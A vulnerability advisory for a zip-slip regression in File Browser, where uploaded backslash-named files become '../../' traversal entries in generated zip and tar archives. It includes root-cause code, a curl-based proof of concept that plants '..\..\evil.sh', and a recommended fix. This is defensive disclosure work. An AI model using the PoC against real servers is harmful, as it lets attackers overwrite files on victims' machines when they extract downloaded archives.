Skip to content

GHSA-83xp-526h-j3ww CVE-2026-62843 GO-2026-6026

File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)

Medium Go
Severity
6.8 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 33.28% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 Relative Path Traversal
Fix
2.63.17
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.

A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.

Details

1. The archive builder rewrites backslashes into path separators (http/raw.go:133)

nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only
// ... comment explaining the intent to strip Windows separators ...
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/")   // line 133, creates traversal

filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.

2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)

archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,   // no path.Clean, no ".." rejection
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.

3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)

A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.

4. Every archive format shares the sink

NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:

#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in (admin here, but any account with Create permission works)
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create the folder ziptest/
curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null

#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
     --data-binary $'#!/bin/sh\necho PWNED' -o /dev/null

#5. Download the folder as a zip and as a targz
curl -s "$B/api/raw/ziptest?algo=zip"   -H "X-Auth: $T" -o out.zip
curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz

#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -> 200   (stored on disk as the single file  ..\..\evil.sh)
GET  /api/raw/ziptest?algo=zip                               -> 200   (zip bytes)
GET  /api/raw/ziptest?algo=targz                             -> 200   (gzip bytes)

The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:

ZIP: ['../../evil.sh']
TAR: ['../../evil.sh']

Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.

Impact

  • Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
  • Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
  • Regression that widened the blast radius: before this rewrite, ..\..\evil.sh only traversed on Windows extractors; afterwards the entry is ../../evil.sh and traverses on Linux and macOS extractors as well.
  • Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.

Recommended Fix

The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:

// http/raw.go, getFiles, replace the backslash->slash rewrite:
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate

// And reject any residual traversal before adding the entry:
clean := path.Clean("/" + nameInArchive)
if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
    return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
}

Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
>= 2.63.6, < 2.63.17
2.63.17

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.17

go
go get github.com/filebrowser/filebrowser/v2@v2.63.17 && go mod tidy

Severity breakdown

CVSS 3.1 6.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-23: Relative Path Traversal

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
GHSA-j9jx-hp4c-ghhh
File Browser has incorrect access control for public directory shares via rule path rebasing
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor